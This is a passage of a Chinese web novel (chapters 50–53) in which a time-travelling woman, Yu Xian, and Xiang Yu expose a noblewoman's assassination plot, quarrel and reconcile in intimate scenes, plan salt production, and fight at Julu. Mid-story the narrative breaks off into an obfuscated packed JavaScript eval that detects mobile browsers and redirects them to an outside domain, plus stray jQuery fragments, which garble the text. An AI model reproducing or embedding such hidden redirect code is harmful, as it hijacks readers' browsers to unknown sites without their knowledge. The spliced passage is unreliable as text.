虞苋被酒精刺激,脑子格外清醒,见还有三米的距离,不慌不忙地给了黎晟提示。 黎晟很快就吹响哨声,早已埋伏好的士兵立即破水而出。 她提醒:“留下活口。” 黎晟点头:“喏。” 虞苋则坐在小舟上,抱着酒坛,托着下巴看着这一场围剿。 她的眼神清明,无半分醉意,脸上看不出什么情绪,即便是刺客的尸体浮在水面上,她也没有什么反应。 习惯了。 虞苋不能确定自己是不是成长了,她能确定的是,她被这个人吃人的世道同化了。 不到半刻中,一切都归于平静。 黎晟前来,说道:“夫人,活捉了两人,还有,械具没有明显记号,形制却有讲究。” 虞苋颔首:“知道了。” 她将酒坛子递给黎晟,说道:“还有半坛子酒,喝完就回去了。” 黎晟吹响哨音,大船的客人也知道虞苋出事了,而出事之人为项羽的宠妾,众人便没在敢表现得有兴致,于是刘邦和吕雉便派人前去救援,船也就近停靠在了岸边等待消息。 庄氏母女神色淡淡,看上去事不关己。 庄女公子目光落在了一旁身姿颀长的身影上,心中濡目之情忍不住从眼中溢出。 出身项氏的公子,拥有极为尊贵的身份,冷峻的面容,摄人心魄的气势,同时还有无双的武力和智谋,怎么不让女子心驰神往呢? 她看着同样羞答答看着项羽的其他女公子,心中怨恨,扯着庄夫人的胳臂,小声唤道:“阿娘……” 庄夫人拍了拍她的手:“放心。” 然后她的话刚说完,虞苋便带着人回来了。 她身上完好无损,便是连衣角都未曾褶皱半分,唯有脸颊因为醉酒而出现了一抹坨红,迷离的眼神中带着迷茫。 众人想起女郎的身世,不过同情的看着她。 一介孤女,身世浮萍,孤苦无依,可谓是“有鸟至南兮,来集汉北。好姱佳丽兮,牉独处此异域。” 庄夫人见她活着回来,顿觉不妙,不由低声暗骂:“这帮蠢货。” 虞苋刚上岸,便见项羽朝着她走来,软声细雨道:“夫人,身上可有受伤?” 她被项羽和缓的声音激得浑身一颤,见众人都看着,便瞬间红了眼睛,扑倒在他温暖炙热的怀中:“呜呜呜,将军,今日我受邀游湖,在船上便有一个贵妇人出言羞辱,我气不过,便让人泼了她一身酒水,谁知道她竟然要杀我。” 在场的贵妇人闻言皆是扭头看向了庄氏母女,两人的脸色青黑。 庄女公子也佯装委屈:“各位夫人看我们作甚,虞夫人无凭无据的话,也能让你们认定我们就是凶手吗?” 随即亦有夫人道:“大家好歹都是有头有脸的人,若是有证据,还是直接拿出来得好,免得在此冤枉了好人。” 虞苋将头埋在项羽的怀中,闻言抬头声音哀戚道:“有的,有活口,他们亲口说的,岂能有错。” 黎晟便将刺客带了上来:“他们口中藏有毒药,想要服毒自杀,被我提前发现了。” 庄夫人眼神这才慌了,而她的女儿则气冲冲的上前,语气急促道:“刚才在船上你们便咄咄逼人,还让你身边之人泼了我母亲一身,谁知道这二人是不是你的人,前来陷害我与母亲的。” 软剑一出,刺客毙命。 庄雁拿着剑,阴冷的眼神落在虞苋身上,愤愤道:“胆敢陷害我母亲,此二人死不足惜。” 黎晟怒道:“好大的胆子,竟敢当众灭口。” 庄夫人上前,微微一笑:“我女儿不懂事,见我被陷害,这才动了怒,左右死的不过是两个刺客,女将军何必动怒。” 见人已死,她舒了一口气,恢复了从容。 虞苋见状却不急不躁,说道:“没关系,除了人证,还有物证。” 黎晟将械具拿了上来,说道:“这些械具没有记号,制作的手法,却能追根溯源,庄夫人,你还有什么话可说。” 庄夫人却淡淡道:“谁知道是不是虞夫人记恨我羞辱她,故意用此来陷害我,故而此物亦做不成证物。” 周围亦有贵妇人私语:“证人已经死了,光有械具,确实证明不了是谁提供的。” “就是就是。” 又有人问吕雉:“吕夫人,你请我等前来赴宴,众夫人们皆给你面子前来,你怎么连安全问题都解决不了?” “还有大家都在船上好好游船,怎么偏偏虞夫人却要一个人坐小舟游湖,谁知道是不是故意行陷害之举。” 贵妇人们七嘴八舌的,倒是将庄氏母女给摘下来了,将罪过都揽在了吕雉和虞苋身上。 虞苋扯了扯项羽的衣襟,到你出场了。 项羽握住她的手,神色冷淡:“肃静。” 声音不大,却极具威严,所有人都闭嘴了。 他询问雪纹:“这位庄夫人是怎么羞辱夫人的?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14785087|157359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>雪纹便将事情发生的经过活灵活现的复述了一遍,项羽听到脸色青黑,询问吕雉:“吕夫人,雪纹说的可有半句不对?” 吕雉摇头:“事情便是如此。” 项羽目光冷冷扫视了一眼庄氏母女,随后看向众人,语气格外的冷淡:“我早已禀明叔父,在虞苋热孝过后,便会娶她为妻,何时说过她为我的妾室?” 闻言,庄雁脸色一白。 他语气淬了冰:“如此侮辱我的妻子,你该庆幸的是小虞心软,只是拿一壶酒水泼你,而非是一杯毒酒喂你嘴里,不感念不杀之恩便罢了,竟然还敢派刺客行凶,被抓到证据又当众灭口,行事如此嚣张,当真以为众人都是傻子吗?” 虞苋在项羽怀中,小鸡啄米的点头。 项羽看向刘邦:“沛公,你说呢?” 刘邦当然不是傻子:“庄女公子当众杀人,我们是当场看见的,做不得假,此事与她们脱不了关系。” 项羽回头看着其他男客:“诸位以为如何?” 其他人道:“沛公所言极是。” 庄夫人见状,彻底慌了,忍不住道:“项将军是要袒护自己的夫人了,你这是色令智昏啊!” “证据确凿,何来袒护。”刘邦已经开口,“庄夫人伙同其他人以势压人,颠倒黑白,我等可是看得清清楚楚。” 吕雉是他的妻,在外人面前更是代表他的脸面,这帮贵妇不仅在宴席上行凶,还要给她按上一个安保不当的罪名,泥人尚有三分泥性呢。 庄雁跑上前,跪在地上,仰头看他,眼圈红通通的:“项籍,你还记得我吗,你曾救过我,我说过要嫁给你的?” 虞苋吃瓜,神色惊讶,小声嘟囔:“原来将军还有这番艳遇呢……” 项羽看着她眼睛圆溜溜在转,没有半点嫉妒的情绪,心中格外不爽,抽刀割破了衣摆:“我何时答应要娶你了?” 他冷冷道:“我既然救过你,你报答我的方式,就是让人刺杀我的妻子的吗?” 庄雁仰头看见项羽眼中的杀意,心如刀割,捂着心口,竟是直接呕出血来。 项羽拉着虞苋退后了一步。 庄雁:“……” 项羽搂着虞苋,看向刘邦和吕雉:“此事是在吕夫人宴席上出事,如何处理,便交由二位来决定,小虞今日受了惊,我先行带她离开了。” 刘邦能说什么,只能应承了下来。 吕雉看着虞苋离开的背影,心知这位女郎前来赴宴,不过是引蛇出洞,刚才的种种,不过都是小打小闹,先行示弱罢了。 而真正的杀机,往往不会摆在明面上。 她目光移开,看着宴会的其他贵妇,除了庄夫人,后面支持唆使她的,怕是一个都逃不了。 这位虞夫人,是来立威的。 吕雉道:“庄夫人,庄女公子,今日种种,我会修书如实跟程氏一族说明,你好自为之。” 庄夫人道:“你敢?” 吕雉笑了:“有何不敢。” 当晚,庄夫人与其女庄雁,突发急症病逝。 相隔不到几日,与刺杀有关的数人,齐夫人病死榻前,周夫人遭遇匪徒丧命,袁夫人家中失火自焚……全部丧命。 贵妇人皆被吓得胆寒。 有人大着胆子告到了项梁面前,项梁正满意的看着虞苋献上来的战马三件套,闻言却是一笑:“有证据证明是她干的吗?没证据你这话就是污蔑,我还要治你的罪。” 众人不知是项羽为自家的夫人出气,还是这位虞夫人自己所为。 不过经此事之后,所有人才终于明白了,虞夫人即便没有了父母兄弟,是一介孤女,可有项氏护着,那她就可以横着走,想要除掉她送自己女儿上位的主意,行不通。 而这都是后话。 回到府上之后,项羽吩咐人将热水抬进房间,看着醉迷糊的虞苋,没好气道:“一身酒味,赶紧去沐浴。” 虞苋趴在桌案上,手指扯着他的腰带,好奇道:“你今日说的可是真的?” “什么真的假的?” “今日你当众说要娶我为正妻的话?” 项羽拿开她的手,嫌弃道:“去沐浴,洗干净后,我就告诉你。” 这酒的后劲大,喝着时还不觉得,反倒是回到家之后虞苋酒意上头,已经醉懵了,胆子格外的大,期待地询问:“你和我一起洗吗?” 50-60 第51章 第51章“喜欢,喜欢到疯魔了。…… 虞苋沐浴完,刚系好腰带,狗男人一刻没有多等,算好时间走了进来。 她赶紧跑上床榻,用被子将自己蒙起来。 心里有点慌。 项羽刚刚吃饱餍足,没有再闹她,脱了身上的衣裳,直接用她的洗澡水洗澡。 水声阵阵。 虞苋忍不住翻身,偷偷露出两只眼睛,看着男人身上沾水的薄肌,感觉自己突然来了食欲。 想咬。 想要他只属于她。 虞苋被自己的占有欲吓了一跳,赶紧闭眼,心中的慌乱越盛。 她实在受不了,见项羽已经洗完在穿衣裳,便一跃而起,扑到了项羽的怀中。 项羽十分受用,故意逗她:“怎么,还要?” “对。” 女郎回答得很干脆,她踮起脚捧住他的脸,缓缓说道:“和将军在一起,很舒服,我很喜欢。” “还想要很多很多。” 项羽将她提起来,让女郎挂在自己身上,眼神变得幽暗:“既然这么喜欢,可后悔之前烧了春宫图?” 她愣住。 这人怎么这般记仇,竟然还记得这一茬呢。 自己都快忘记了。 虞苋:“我当然不后悔。” 项羽冷哼:“就知道。” 女郎看着对方绷紧的下巴,心里纠结着,一旦想到自己可能已经爱上了项羽,她便感觉到内心极度的恐慌。 爱情便是种在人心中的情蛊,会让人失去理智,为爱欲沉沦,嗔痴,变得人不像人鬼不像鬼。 比如现在。 她竟然会想项羽有没有和她一样,心中其实也喜欢她的呢? 对方和自己在一起,两人无数在夜里亲密无间,可是从未从他嘴里提及一句对她的喜欢。 难不成只有自己在日渐沉沦吗? 虞苋很难受,双手不由攀着对方的肩膀,低头去撕咬男人臂膀的薄肌。 对方只是闷哼了一声,语气格外的愉悦:“这么热情?” 她红红的脸颊在狗男人的身上蹭了蹭,又亲了亲项羽的脸颊,对方很是自觉的低头,于是女郎精准的含住了他的下唇。 虞苋明白自己对项羽是什么心思之后,便是简单的亲吻便能调动她浑身的细胞,忍不住攀住对方的的肩膀,让她贴紧对方,将自己整个人全都奉献给他。 项羽很享用。 女郎不仅长得漂亮,即便最开始有些扭捏,可真正与她在一起的时候,她还是很坦诚的。 她喜欢时,就会自己索取,想尽办法缠人,就像现在一样主动。 项羽按着她的腰,见她要滑落,就将她搂抱上来,察觉到她浑身紧绷,就一边亲她,一边用手揉揉她紧绷的脚丫,将她揉软了,她便会乖乖的给他亲。 娇美。 外面的雨还没停, 水声泽泽。 他走动间,女郎贴的更紧,闷笑道:“对了,你今日跳的是什么舞?很好看。” 虞苋已经口干舌燥,一直注意着对方的情绪变化,闻言低低道:“是《山神》。” 她说:“我还是第一次跳呢。” 项羽疑惑:“山神是小鹿?” 她摇头:“小鹿是猎物,山神是老虎。” 虞苋深吸一口气,感觉有什么东西在膨胀,于是压下心口的悸动,嗓子越加绵软:“贪玩的小鹿迷路了,回不去族群,还不幸的遇到了山中的猛兽,于是被猛兽给吃掉了。” 和她的处境一样呢。 项羽将她抱到了床上,让她坐在柔软的床上。 女郎俯身,又乖乖地往前贴贴。 他感觉到虞苋的声音不对,迫使她抬头,却看见女郎的脸颊上全是的泪水。 虞苋见被发现了,赶紧抹掉了脸上的眼泪,用脑袋在男人的怀中蹭了蹭,闷声闷气道:“是没忍住,被你弄哭了。” 项羽:“……” 哪个男人能受得住这么娇媚的女人? 项羽忍不住直接倾身将女人压在怀中,按着女人的细腰勾着她继续缠绵亲吻。 身下的女人刘姚实在是太软了,他喜欢得不得了,恨不得将她揉进骨血里,将人狠狠地亲透。 虞苋身体被男人的身体覆盖,她的腿忍不住勾着男人的腰,热烈的回应。 最后。 她哑着嗓子道:“肿,肿了。” 项羽勾唇:“是吗?我看看是哪里肿了。” “嘴,嘴巴,嘴巴被你亲肿了。” 刚才虞苋来了劲,一直在亲亲,因为情绪格外的激动,完全没有节制,于是嘴唇被男人给亲破皮了。 项羽在床边摸索了一会儿,寻到了膏药,眼神越加的幽深:“那我帮你涂药。” 虞苋睁着水润的眼睛,小声“嗯”了一声。 项羽便淡定的用手指挖了膏药,在女郎唇瓣上涂抹,温热的指腹在她嘴唇碾压。 她不吭声。 见他的手要离开,突然张嘴含住了。 “嘶——” 女郎的脸颊红润,眼睛水汪汪的,明显知道自己的行为有多危险,还是如此挑衅。 项羽深吸一口气,压下了想要将人弄死的冲动,哑声道:“夫人还真是主动。” 虞苋松开,拱进他的怀中,眼泪汪汪地询问:“将军,你喜欢我吗?” 问出口之后,她一脸紧张。 在害怕他否认。 在夜色中,男人漂亮的薄肌上已经出了密密麻麻的汗,英俊的面容在黑暗中更加的立体,下巴的汗水滴落,真是太性感了。 他薄唇紧密,在疑惑她为何如此问,没有第一时间回答。 那就是不喜欢了。 女郎又说道:“将军可以不回答,其实我也不是很想知道的,真的,毕竟我也没有喜欢的人,我……” 她有些语无伦次。 项羽却突然道:“你没有喜欢的人?” 虞苋将脸瞥到了一旁,闷声闷气道:“对啊,没有呢。” 却不敢看对方的眼睛。 明明跟在他的身边,是为了活命,最后却真的喜欢上了,爱上了,她多可怜啊。 闻言,项羽浑身的血液凝固,咬牙切齿道:“那我呢?” 在一起这么久,还捂不热这个女人的心吗? 他有点喘不过气。 虞苋红着眼睛,大声说道:“我才不会喜欢一个不喜欢我的人。” 说完,她伸出手背,再一次抹掉了眼泪。 嘤。 现在又不喜欢了。 项羽深吸一口气,脸色难看,按着她的手,语气冷冰冰的:“你撒谎。” 他道:“你若是不喜欢我,你会一次次的勾引我?” 女郎气呼呼道:“我没有勾引。” 话落,就用脚去踢他。 “那就是情不自禁。” “我没有!” 项羽又按住了她的脚,脸色青黑,将她牢牢的锁住,俯身而下:“夫人,你一句一句的反驳,是想惹怒我吗?” 不喜欢他。 还想喜欢谁? 虞苋歪头一旁,不去看对方,狗男人又将她的脸掰正,询问:“你刚才不是想知道我喜不 喜欢你吗?” 虞苋否认:“我就随便问问,我其实也不是很想知道,不对,我现在不想知道了。” 不喜欢就不喜欢吧。 她不想当小丑。 项羽闻言冷笑,没有在意她的嘴硬,冷声道:“我承诺过你,你会是我的第一个女人,也是最后一个女人,我那么心甘情愿地娶一个来路不明的女人做妻子,还纵容你在我身上施虐凌辱,你倒是好,还来问我到底喜不喜欢你。” 他最担心的便是虞苋心里没有他,他从不敢问出口,此时女郎亲口承认不喜欢他,他的心脏就像是被针扎一样的疼。 简直要被她给气死了。 虞苋有点心虚,好像之前她的确有点不干人事,此时听他的话,心中有生出了希冀,询问道:“那你到底喜不喜欢我?” 项羽深吸一口气,压下心中的恼恨,恶狠狠道:“喜欢,喜欢到疯魔了。” 看着狗男人冒出来的双瞳,她身体一软,心都要化开了,眼泪却不受控制的往外流。 项羽以为自己刚才凶恶的表情吓到这个娇气的小女郎了,身体顿时一僵,慌乱的给她抹眼泪。 他说:“我不吓唬你了,你别哭。” 闻言虞苋哭得更凶。 她见到对方眼中的慌乱,吸了吸鼻子,诚实道:“其实,其实我也喜欢将军,可是我害怕。” 就算在一夫一妻的现代社会,多少耽于情爱的男男女女最后都是失望收场,更何况是这样一个男尊女卑的世界,女人沉浸在情爱的谎言之中,最后哪有不受伤的呢? 若是各取所需便罢了,她还能安慰自己,可动了真情,她便只有死路一条。 她太了解自己了,若是真爱上,便是不死不休。 女郎重复道:“我很害怕。” 虞苋被情绪吓得浑身颤抖,眼泪怎么也擦不完,哭得鼻子眼睛都红通通的。 项羽的指腹抹掉她的眼泪,忍不住叹息了一口气:“害怕什么?” 她忍不住道:“士之耽兮犹可脱也,女之耽兮不可脱也。这世间的感情瞬息万变,此时你喜欢我是因为我长得好看,可色衰而爱驰,万一那一天你厌弃了我,我还喜欢你,我该怎么办呢?” “我的心会痛死的。”虞苋强调,“我最怕痛了。” 原来她也一样。 项羽气道:“我也怕痛。” 他忍不住道:“所以,你不准跟熊心和韩信走得太近,他们肯定不安好心,你离他们远点。” 嗯? 吃醋了? 熊心就算了,他有前科。 可关韩信什么事啊? 第52章 第52章“制盐,换粮。”…… 项羽看着虞苋一副不知情的样子,他刚刚转好的心情瞬间变得阴云密布。 “你是真不知道,还是装作不知道?” “他怎么了吗?” 项羽闹恼恨拿开她夹着他腰的腿,气道:“别夹我。” 不夹就不夹。 她松开。 也不哭了。 狗男人又低头亲她,亲得痒痒的,她伸手抵住自己的胸口:“够了够了。” 项羽冷笑:“好啊,连亲都不给亲了。” 虞苋:“……” 她也有点生气了,去推他,手又被抓住,男人将她翻了个身,硬邦邦的胸膛抵在她的后背,锁住她的腿,姿势十分的羞耻。 项羽说:“别动。” 让她不动她就不动吗? 女郎不听,在他身下像蛇一样扭动,然后腰也被固定住,整个身体就像是被一座大山给压着。 还是一座火焰山。 烫死她了。 虞苋舔了舔干燥嘴唇,心里有些喜欢这样的贴贴,嘴上却说:“放开我,你就会持强凌弱,霸王硬上弓。” 项羽不管不顾,恨恨道:“你不答应我离他远点,我就不放。” 虞苋:“就不答应。” “呵呵,你就是巴不得我不放,对不对?” “……” 女郎被说中,浑身一僵,随即有些气急败坏:“我才没有。” 她扭得更厉害。 项羽忍得受不了,真很不得直接将她弄死在床上,咬牙尺切道:“别动。” 虞苋感觉到他停止了动作,于是也没有再动了,哼唧唧道:“就算我知道自己长得还算好看,可是也不是谁都会喜欢我的,你别乱吃飞醋,不尊重人。” 气。 她见过韩信的几次,人家都一直低着头,规矩着呢。 女郎恍然大悟:“你是不是觉得韩信长得不错,怕我以后厌倦了你,移情别恋其他人?” 项羽:“……” 他掐着她的腰:“胡言乱语。” 虞苋趴在被子上,边抹掉眼角残余的眼泪边笑,简直是要把项羽给气死。 她说:“先不说韩信压根不喜欢我,我自己也不会那么轻易移情别恋的,你放心好了,将来我还要和你死在一起呢。” 项羽胸口的激荡还没有消散,听到她的话又给气到了。 作为一个男人,他还能不知道韩信是什么心思,就她还以为他是什么好人呢。 他捞起她,将人揽在怀中,冷冷道:“谁要和你一起死。” 虞苋顺势用头抵住男人的胸口,缓缓说道:“我也不想死。” 两人温存了一下。 项羽重新拿来了热水,两人沐浴之后,狗男人又帮女郎上过药,之后便睡了。 翌日。 天上依旧乌云密布,却罕见的没有下雨。 鼓声阵阵。 楚军的旗帜随风飘扬。 营帐内。 范增说道:“刚得到密报,赵王逃到了巨鹿,章邯正追了过去。” 项羽看着舆图:“如今秦人军队屡战屡胜,士气正旺,我军却在安阳盘桓月余,又缺衣少粮,对上秦军,胜算怕是不大。” 他说:“急需打几场胜仗鼓舞士气,小胜亦可,得让将士们知道,秦军并非不可战胜。” 范增点点头:“此言在理。” 营帐中的英布道:“末将愿意渡河,前去打头阵。” 于是项羽与范增再次商议其中细节,便派英布和蒲将军带两万军队渡河援助赵国。 而虞苋醒来时已经是下午,她揉了揉有些酸胀的肌肉,洗漱后走出营帐,便看见了天上难得出来的日头。 光线照在人身上,暖洋洋的。 她询问士兵:“将军呢?” 士兵稽首:“回夫人,将军正与范将军等人在商议要事。” 虞苋双手抱胸,没有去寻项羽。 她想起了一件事情,于是无视了昨晚项羽的警告,再次寻到了韩信。 韩信搞舆论很有一套,原本底层的士兵并不知道马具和酒精是谁拿出来的,经过他的宣传,士兵们都知道了项羽身边的虞夫人,并非只是一个空有美貌的挂件,而是一个有手段的人。 于是,军中便无人敢怠慢她。 韩信见到虞苋,眼睛先是一亮,随即低头稽首:“见过夫人。” 虞苋还是有点被项羽昨晚的那一番话给影响了,闻言,不由多观察了对方几眼。 韩信身量高,样貌好,身材板正。 此时他修长的手指握在腰间的剑上,垂着脑袋,面对她时态度十分的恭敬。 她缓缓道:“不必拘谨。” 韩信直起身子,目光却瞥见虞苋后颈的红痕,在原本白皙的肌肤上十分的显眼。 他立即垂眸。 他的指甲掐进了肉里,掌心的疼痛让他回神。 女郎疑惑:“你怎么了,刚才和你说话,你都不应?” 韩信看着虞苋一脸不解,回神,深吸了一口气:“抱歉,走神了,还请夫人再说一遍。” 虞苋:“……” 果然是项羽那个狗男人想多了,韩信此人在她说话之时还会走神,自然是对她没有什么想法的。 她顿时放心了。 女郎松了一口气,缓声说道:“我有一件事想要请你帮忙。” 韩信询问:“什么事?” 她寻了一个石头坐下,说道:“帮我寻地挖盐井,我要制盐,换粮。” 韩信惊讶:“夫人还会制盐?” 虞苋微微一笑:“会一点。” 咳咳。 只要学过高中化学的现代人,制盐自然是会的,制不出毫无杂质的精盐,去硫还是可以的。 总比现在贫苦百姓吃的盐砖好。 她说:“得先挖出盐井,制盐的事,才能提上日程。” 酒精需要消耗粮食,成本高昂,非人人都需要,而盐不一样,所有人都需要吃盐,不吃盐就没有力气,而且是从大自然中提取。 如果能用盐换取他人手中的粮食,这就是无本买卖。 韩信想。 虞夫人一定是看见了底层的士兵们食不饱腹,心生怜悯,才会委托他来办此事的。 他稽首:“夫人尽可放心,我定会为夫人寻到盐井。” 虞苋咬唇:“将军此行要渡江前往巨鹿,本是你建功立业的机会,我却派你去做其他的事情,你当真愿意吗?” 韩信抬眸,突兀的撞见女子的剪水双瞳,女郎正含着歉意看着他,睫毛微颤时,好像狠狠扫了他的心口。 他深吸一口气:“属下愿意。” 虞苋闻言松了一口气,说道:“黎晟的伤势已经好了,我会让她跟你一同前往,尽快办妥。” 韩信:“喏。” 虞苋想了想,上前拍了拍他的肩膀,说道:“此事于我格外重要,我能不能活的更久,全靠你了,不要辜负了我的信任。” 韩信看着肩膀上的白皙的手,低头时,正好看见女郎正仰着头冲着她笑,忍不住往后退了一步:“属下绝不负夫人所托。” 虞苋看着韩信急忙避开,忍不住挠了挠后颈。 她有这么恐怖吗? 这韩信对自己的态度,完全不用担心他对她有什么想法的,好吧? 韩信见虞苋皱着眉,他又有点后悔了,是不是刚才的举动太过了。 可是他一抬头,便能看见女郎脖颈的红痕,只能独自黯然神伤。 虞苋给韩信下达了任务,于是便回到营帐了,刚进去,便见到项羽大刀阔斧的坐着,一动不动,浑身散发着阴郁的气息。 他冷冷询问:“你去哪了?” 虞苋“咳咳”两声,诚实道:“我去找韩信去了。” 项羽眼神越加冰冷,周身更是快化成实质的怨气:“我是不是警告过你,离他远一点,他对你不安好心。” 虞苋已经清楚,韩信对她压根没有想法。 不过她不想吵架,于是顺着他,上前搂着狗男人的胳膊,好声好气的道:“我知道将军不喜我与韩信过于接近,可我又欣赏他的才干,于是想了一个折中的法子,准备派他为我寻找盐井。” 她眨巴眨巴眼睛:“他不在军营,我们就见不到了,将军也不用乱吃飞醋了。” 项羽强调:“我没吃醋。” “哦。”虞苋点头,“好的,没吃醋。” 他得知虞苋去找韩信的缘由之后,他身上的戾气稍微收敛,询问:“你让他去找盐井做什么?” 虞苋还是那一句话:“制盐,换粮。” 项羽皱眉:“你会制盐?” 女郎双手抱胸,略微有些得意:“那当然。” 制盐的法子只掌握在少数人的手中。 项羽眼神微眯,询问道:“你家中只是普通的商贾之家?” 他派人查过当初出事的那艘船,船上之人都是普通行商。 可若是虞苋的家人既会酿酒,又会制盐,还知道给马套上马具,不应该如此轻易的被杀害。 况且女郎不仅有大家族女公子该有的手段,在要讨好之人面前时,瞬间就能转换成小女儿情态,将男人拿捏得死死的。 能屈能伸。 这哪里是普通商贾家中能培养出来的女儿? 虞苋疑惑:“为什么这么问?”难道她身上的土豪气质藏不住了? 项羽说:“随便问问。” 他突然回神:“对了,你要粮食做什么?继续制作酒精换钱?” 虞苋摆手:“才不是。” 此时士兵都快没饭吃了,她哪能继续用粮食制作酒精,她脑子又没抽。 她如此作为,是因为知道历史。 在巨鹿之战之后,便有一次改变历史的机会,为了自己的性命,她总要努力一把吧。 当然,虞苋没有直说,只是抿嘴一笑:“我这是为将军分忧啊。” 第53章 第53章“那我就把你关起来,做…… 军中的粮草即将消耗殆尽,仅能支持三五天的时间,项羽又急需打一场立威之战,退不得,只能速战速决。 此战只能胜,不能败。 听闻虞苋的话,他微微勾唇:“你有这个心便好。” 女郎挑眉:“那你是答应我的行动了?” 项羽点头说道:“让项庄一起去,他是项氏之人,在楚地无人敢轻慢,办事会顺利许多。” 项庄? 项庄舞剑意在沛公的项庄。 虞苋这件事本就需要快,闻言点点头:“都听将军的。” 秦军在巨鹿领军的将领是章邯,英布和蒲将军率众渡河之后,一天之内连续取得了几波胜利,极大鼓舞了楚军的士气。 这正是项羽想要看见的场面。 此时军队中的粮食仅能够将士们吃上三日,于是他吩咐士兵们带上干粮,准备上船渡河。 此时战鼓声声。 巫傩围着篝火起舞,震荡人心的楚歌传至四方。 “操吴戈兮被犀甲,车错毂兮短兵接。” “……” 国之大事,在祀与戎。 祭祀之礼结束,项羽站在祭坛上,对着楚军的将士们做最后动员:“当年楚怀王入秦却含冤而死,楚国国灭,楚人被迫在秦人手下求生,受尽欺压苦难,我们的父母、兄弟、亲友,皆死在了秦人手中,此仇不报,如何安抚冤死的亡灵。” “夫战,勇气也,一鼓作气,再而衰,三而竭。今日渡漳水,乃是存亡之战。此战只许胜,不许败。” “诸位。” “楚人宁战死也绝不跪着生,且随我一同渡江,光复故国之荣光。” “将士们,你们报仇、立功的时候,到了。” 虞苋站在一旁,看着祭坛上的项羽。 此时一道光线正好破开乌云,金光打在了项羽身上的甲胄上,反射的强光刺痛了她的双眼。 士气正旺。 “死战——” “亡秦必楚!亡秦必楚!” “……” 眼见项羽从祭坛走下,正朝着她走来,女郎双手抱胸,赶紧低头去踢地上的石子。 项羽询问:“在想什么?” 虞苋深吸一口气,忍不住说道:“我不要留在后方,我要和你一起上战场,去前线杀敌。” 项羽伸手给她整理额前被风吹乱的碎发,闻言并不惊讶她说的话。 他解释道:“我心中已有谋略,此战不会败,不必跟我涉险。” “我以后是会和你死一起的,你去哪里,我就去哪里。”虞苋有些不高兴,“你不能将我推开。” 项羽搂住她的腰,一把将她提起,勾唇一笑:“那就和我一起上船。” 这就同意了? 对方身上穿着甲胄,身上披着红色披风,浑身肃杀,威风凛凛,手臂将她搂得很紧。 她抬头,正好撞见了男人幽暗的眼神中,余光看见他冷峻的脸,心猛然一跳。 “又害怕了?” “没有。” 已经习惯了。 临行前项羽让人砸掉锅碗,三万大军渡过漳水之后,又命人劈了船只,决心 与秦军决一死战。 渡河之后,项羽立即带兵进攻巨鹿。 虞苋不懂战事,只跟在他身边。 以前虞苋只知道历史上这一场仗项羽赢了,还赢得很漂亮。 可她没有想到前线战场远比她想象中的还要残酷。 在战场上,杀了一个人,后面还有人扑来,怎么杀都杀不完。 地上全部是尸体,是残肢断臂。 将士们所有感官全都被鲜血点燃。 刚刚结束了一场战役,才休息不到半个时辰,便又开始了新一轮的杀戮。 战车,箭雨。 乱而有序。 人人都杀红了眼。 从白天打到了黑夜,敌人惧怕得落荒而逃,虞苋见状差点直接累瘫。 她完全不敢数自己跟在项羽身边杀了多少人,她小时候按死的蚂蚁都没有今日杀的人多。 虞苋去河边清洗身上的血液,却见整条河都是红的,人血的腥臭味直冲鼻腔,令人晕乎乎的。 真要命。 项羽走到女郎的身边:“可后悔跟来了?” 虞苋面上牵强,嘴却很硬:“没有啊。” 夜幕降临,天黑沉沉的,周围亮起了火把。 在微弱的灯光下,项羽的身上也沾了很多的血,身影融进了黑夜之中,唯有甲胄闪着寒光。 天气依旧寒冷,他面容冷峻,气势凌然,仿佛是从周围的尸山里爬出来的修罗恶鬼。 很强。 他挑起女郎的脸,指腹蹭着她的脸颊,说道:“夫人,你比我想象中的,还要让人惊喜。” “嗯?” 项羽闷笑道:“成长得很快,我还以为你会被吓晕过去,倒是我误会了。” 胡说胡说! 她才不会如此丢脸! 虞苋双手抵在项羽的胸口,手指蜷缩,一脸的真挚:“我只是不想成为将军的拖累。” 她甜言蜜语不断:“我喜欢将军,便是一时见不着就会心里难受,恨不得时时刻刻和将军黏在一起,为了和将军长长久久在一起,这点困难我也是可以克服的。” 项羽:“……” 他觉得女郎的话假得不行,可心中却十分受用,又不愿被她拿捏,于是微微勾唇,故意道:“夫人才不是拖累,是我的心肝宝贝。” 虞苋鸡皮疙瘩都起来了,赶紧将人推开:“你轻浮,你胡言乱语。” 耳朵却悄悄红了。 项羽颔首:“章邯已经跑了,吃点东西休息一下,待会儿和诸侯们汇合,准备继续迎战秦军。” “这么快?” “战场的局势瞬息万变,此时我军大败秦军,士气正盛,宜乘胜追击。” 虞苋听得懵懂,她完全不懂怎么打仗,因此没有插嘴。 因为将士们都很疲倦了,直接席地而睡,几个几个的挤在一起取暖。 虞苋身子也很是疲倦,没有太多的讲究了,直接扑在项羽的怀中呼呼大睡。 男人的身体很暖,披风挡着她的身体,完全感觉不到半点寒冷,女郎身上甚至出了汗。 她以为自己会睡得很沉,不过听到一声鹰鸣之后,便突然惊醒了。 项羽正拿了一根肉干喂鹰,随后拿下了鹰脚下的信件,扫了几眼。 他感觉到怀中人动了动,便低头,见虞苋睁着一双圆溜溜的眼睛看他,哑声道:“吵到你了?” 虞苋摇头。 项羽将信递给她:“是项庄的传信,已经找到了盐井,是一户申姓豪绅献上的。” 女郎瞬间就精神了。 项羽这边刚打了胜仗,此时便有人献上盐井,权力果真动人心魄。 她说:“将军,可有绢布?” 在韩信临行前,她便已经将制盐的法子交给了他,接下来要做的便是制盐换粮。 项羽道:“你想什么做?” 虞苋直起身子,眼睛微闪道:“豪绅们都有屯粮的习惯,会在灾年提高粮价,吸纳民间膏脂,而如今便是想办法让这些豪绅将囤积的余粮乖乖让出,以解其困境。” 她心中已经想到了法子,相信以韩信的执行能力,必能将盐换成粮食。 项羽便寻了笔墨和传信的信笺。 虞苋拿起笔正准备写字,突然顿住,尴尬的将笔递给项羽,说道:“我字写得不好看,不如我来说,将军来写可好。” 他颔首:“行吧。” 